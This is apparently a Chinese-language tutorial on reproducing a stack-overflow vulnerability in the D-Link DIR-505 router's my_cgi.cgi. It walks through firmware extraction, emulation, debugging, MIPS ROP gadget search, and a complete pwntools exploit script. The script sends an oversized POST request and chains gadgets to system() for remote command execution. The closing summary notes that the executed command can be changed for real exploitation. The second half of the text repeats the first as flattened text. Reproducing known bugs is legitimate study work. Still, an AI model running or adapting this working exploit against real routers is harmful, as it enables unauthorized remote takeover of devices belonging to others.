DIR-505 路由器固件漏洞复现
字数 1754 2025-12-04 12:24:18

DIR-505路由器固件漏洞复现教学文档

概述

本教学文档详细分析D-Link DIR-505路由器固件中的栈溢出漏洞,涵盖环境搭建、漏洞分析、调试方法和利用技术。

环境搭建

1. 固件获取

固件下载地址:https://files.dlink.com.au/products/DIR-505/REV_A/Firmware/v1.06b05/DIR505A1_FW106B05.bin

2. 工具安装

Binwalk安装

sudo apt install binwalk

Sasquatch安装(用于解包.squashfs文件)

git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/47.patch && patch -p1 < 47.patch && sudo ./build.sh

固件解包

binwalk -e xxx.bin

Firmadyne安装

git clone --recursive https://github.com/firmadyne/firmadyne.git

数据库配置

# 安装PostgreSQL
sudo apt install postgresql

# 创建用户和数据库
sudo -u postgres createuser -P firmadyne
sudo -u postgres createdb -O firmadyne firmware

# 导入表结构
sudo -u postgres psql -d firmware < ~/Tools/IOT_tools/firmadyne/database/schema

FAT(Firmware Analysis Toolkit)安装

git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
./setup.sh

编辑fat.config文件:

[DEFAULT]
sudo_password=your_password
firmadyne_path=/path/to/firmadyne

漏洞分析

漏洞位置

漏洞存在于/usr/bin/my_cgi.cgi程序中,具体在get_input_entries函数中。

CGI文件工作原理

  • .cgi文件是Common Gateway Interface脚本文件
  • Web服务器(如lighttpd)识别.cgi扩展名并执行相应程序
  • 通过环境变量传递HTTP协议信息

关键环境变量

环境变量 说明
REQUEST_METHOD HTTP请求方法(GET/POST)
SCRIPT_NAME CGI脚本虚拟路径
QUERY_STRING URL查询字符串
CONTENT_LENGTH 请求体长度
CONTENT_TYPE 请求体MIME类型
REMOTE_ADDR 客户端IP地址

漏洞代码分析

main函数关键逻辑

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char s[1024]; // 栈缓冲区
    memset(s, 0, sizeof(s));
    
    // 获取请求体长度
    char* env_4 = getenv("CONTENT_LENGTH");
    if (env_4)
        size = strtol(env_4, 0, 10);
    
    // 调用存在漏洞的函数
    input_entries = get_input_entries(s_, size);
}

存在漏洞的get_input_entries函数

int __fastcall get_input_entries(char *s1, int a2)
{
    while (a2 > 0)  // a2为用户控制的CONTENT_LENGTH
    {
        // 从标准输入读取数据
        if (stdin->_fileno) {
            // 读取逻辑...
        }
        
        // 存储到栈缓冲区
        s1[1061 * v4 + 36 + v5] = c_unlocked_1;
        
        --a2;
    }
}

漏洞原理

  • 使用用户控制的CONTENT_LENGTH作为循环条件
  • 数据直接存储到固定大小的栈缓冲区中
  • CONTENT_LENGTH大于缓冲区大小时发生栈溢出

MIPS架构基础知识

寄存器说明

寄存器 用途
$zero 恒为零值
$at 汇编器临时变量
\(v0-\)v1 函数返回值
\(a0-\)a3 函数参数
\(t0-\)t7 临时寄存器
\(s0-\)s7 保存寄存器
$gp 全局指针
$sp 栈指针
$fp 帧指针
$ra 返回地址

关键指令

  • addiu $sp, -0x20:调整栈指针
  • sw $ra, 0x18($sp):保存返回地址到栈
  • lw $ra, 0x18($sp):从栈恢复返回地址
  • jal function:跳转并链接(保存返回地址到$ra)
  • jr $ra:跳转到返回地址

延迟槽机制

MIPS架构存在延迟槽,跳转指令实际在执行下一条指令后生效:

jr $ra
addiu $sp, 0x7FF0  # 这条指令会在跳转前执行

调试环境搭建

依赖库修复

创建符号链接使库文件具有标准名称:

ln -sf libavahi-common.so.3.5.3 libavahi-common.so
ln -sf libavahi-common.so.3.5.3 libavahi-common.so.3
# ... 其他库文件类似处理

QEMU运行配置

使用chroot环境运行程序:

# 复制qemu-mips-static到目标目录
cp /usr/bin/qemu-mips-static /path/to/squashfs-root/bin/

# 使用chroot运行
sudo chroot /path/to/squashfs-root qemu-mips-static /usr/bin/my_cgi.cgi

调试配置

# 开启调试模式
sudo chroot /path/to/squashfs-root qemu-mips-static -g 12346 /usr/bin/my_cgi.cgi

# 使用gdb连接调试
gdb-multiarch
target remote :12346

漏洞利用技术

ROP链构建

控制$a0寄存器的gadget

ROPgadget --binary ./my_cgi.cgi | grep 'lw $ra' | grep 'addiu $a0, $sp'

找到关键gadget:addiu $a0, $sp, 0x18 ; lw $ra, 0x5c($sp) ; ...

栈调整gadget

move $a1, $s2 ; lw $gp, 0x10($sp) ; ... ; addiu $sp, $sp, 0x28

利用步骤

  1. 填充缓冲区:发送大量POST数据覆盖栈空间
  2. 覆盖返回地址:精确控制$ra寄存器值
  3. 设置参数:使用gadget控制$a0指向命令字符串
  4. 执行system:跳转到system函数执行命令

利用Payload结构

pay = b''
# 填充数据
for i in range(0x1c2):
    pay += b'a=a&'

# 命令字符串
cd = b"sh"
cd = cd.ljust(0x44, b'\0')

# ROP链构造
pay += b'\0' * 0x32 
pay += p32(gadget, endian="big")
pay += b'a' * 0x10
pay += flat(0x44ff10, 0)  # 保持$gp有效
pay += cd
pay += flat(system)

实际利用实现

HTTP请求封装

def http_req(data):
    length = len(data)
    pay = (
        b"POST /my_cgi.cgi HTTP/1.1\r\n" +
        b"Host: 192.168.0.1\r\n" +
        b"Content-Length: " + str(length).encode() + b"\r\n" +
        b"\r\n" +
        data
    )
    return pay

完整利用脚本

#!/usr/bin/python3
from pwn import *

context(log_level="debug", os="linux", arch="mips", endian='big')

ip = "192.168.0.1"

def http_req(data):
    length = len(data)
    pay = (
        b"POST /my_cgi.cgi HTTP/1.1\r\n" +
        b"Host: " + ip.encode() + b"\r\n" +
        b"Content-Length: " + str(length).encode() + b"\r\n" +
        b"\r\n" +
        data
    )
    return pay

p = remote(ip, 80)

pay = b''
for i in range(0x1c2):
    pay += b'a=a&'

system = 0x42A500
gadget = 0x0040f3c4  # 控制$a0的gadget
gadget2 = 0x0040e87c  # 栈调整gadget

cd = b"echo `ls /`"
cd = cd.ljust(0x44, b'\0')

pay += b'\0' * 0x32 + p32(gadget, endian="big") + b'a' * 0x10
pay += flat(0x44ff10, 0) + cd + flat(gadget2)

# 多次调整栈位置
for i in range(0x10):
    pay += b'\0' * 0x24 + flat(gadget2)

pay += b'a' * 0x10 + flat(0x44ff10) + b'a'*0x10 + flat(system)

pay = http_req(pay)
p.send(pay)
p.interactive()

测试验证

准备工作

在目标系统中创建必要的符号链接:

ln -s /bin/busybox /bin/ls
ln -s /bin/busybox /bin/sh
ln -s /bin/busybox /bin/cat

网络配置

使用FAT启动路由器固件后,将eth0添加到br0网桥:

brctl addif br0 eth0

执行测试

运行利用脚本,成功执行ls /命令验证漏洞利用成功。

总结

本漏洞利用的关键点:

  1. 准确识别栈溢出漏洞位置
  2. 理解MIPS架构特性特别是延迟槽机制
  3. 构建有效的ROP链控制程序执行流
  4. 正确处理库依赖和调试环境
  5. 封装符合HTTP协议的攻击载荷

通过这种方法可以实现对DIR-505路由器的远程命令执行,实际利用时可根据需要修改执行的命令。

DIR-505路由器固件漏洞复现教学文档 概述 本教学文档详细分析D-Link DIR-505路由器固件中的栈溢出漏洞,涵盖环境搭建、漏洞分析、调试方法和利用技术。 环境搭建 1. 固件获取 固件下载地址:https://files.dlink.com.au/products/DIR-505/REV_ A/Firmware/v1.06b05/DIR505A1_ FW106B05.bin 2. 工具安装 Binwalk安装 Sasquatch安装(用于解包.squashfs文件) 固件解包 Firmadyne安装 数据库配置 FAT(Firmware Analysis Toolkit)安装 编辑fat.config文件: 漏洞分析 漏洞位置 漏洞存在于 /usr/bin/my_cgi.cgi 程序中,具体在 get_input_entries 函数中。 CGI文件工作原理 .cgi 文件是Common Gateway Interface脚本文件 Web服务器(如lighttpd)识别 .cgi 扩展名并执行相应程序 通过环境变量传递HTTP协议信息 关键环境变量 | 环境变量 | 说明 | |---------|------| | REQUEST_ METHOD | HTTP请求方法(GET/POST) | | SCRIPT_ NAME | CGI脚本虚拟路径 | | QUERY_ STRING | URL查询字符串 | | CONTENT_ LENGTH | 请求体长度 | | CONTENT_ TYPE | 请求体MIME类型 | | REMOTE_ ADDR | 客户端IP地址 | 漏洞代码分析 main函数关键逻辑 存在漏洞的get_ input_ entries函数 漏洞原理 使用用户控制的 CONTENT_LENGTH 作为循环条件 数据直接存储到固定大小的栈缓冲区中 当 CONTENT_LENGTH 大于缓冲区大小时发生栈溢出 MIPS架构基础知识 寄存器说明 | 寄存器 | 用途 | |--------|------| | $zero | 恒为零值 | | $at | 汇编器临时变量 | | $v0-$v1 | 函数返回值 | | $a0-$a3 | 函数参数 | | $t0-$t7 | 临时寄存器 | | $s0-$s7 | 保存寄存器 | | $gp | 全局指针 | | $sp | 栈指针 | | $fp | 帧指针 | | $ra | 返回地址 | 关键指令 addiu $sp, -0x20 :调整栈指针 sw $ra, 0x18($sp) :保存返回地址到栈 lw $ra, 0x18($sp) :从栈恢复返回地址 jal function :跳转并链接(保存返回地址到$ra) jr $ra :跳转到返回地址 延迟槽机制 MIPS架构存在延迟槽,跳转指令实际在执行下一条指令后生效: 调试环境搭建 依赖库修复 创建符号链接使库文件具有标准名称: QEMU运行配置 使用chroot环境运行程序: 调试配置 漏洞利用技术 ROP链构建 控制$a0寄存器的gadget 找到关键gadget: addiu $a0, $sp, 0x18 ; lw $ra, 0x5c($sp) ; ... 栈调整gadget 利用步骤 填充缓冲区 :发送大量POST数据覆盖栈空间 覆盖返回地址 :精确控制$ra寄存器值 设置参数 :使用gadget控制$a0指向命令字符串 执行system :跳转到system函数执行命令 利用Payload结构 实际利用实现 HTTP请求封装 完整利用脚本 测试验证 准备工作 在目标系统中创建必要的符号链接: 网络配置 使用FAT启动路由器固件后,将eth0添加到br0网桥: 执行测试 运行利用脚本,成功执行 ls / 命令验证漏洞利用成功。 总结 本漏洞利用的关键点: 准确识别栈溢出漏洞位置 理解MIPS架构特性特别是延迟槽机制 构建有效的ROP链控制程序执行流 正确处理库依赖和调试环境 封装符合HTTP协议的攻击载荷 通过这种方法可以实现对DIR-505路由器的远程命令执行,实际利用时可根据需要修改执行的命令。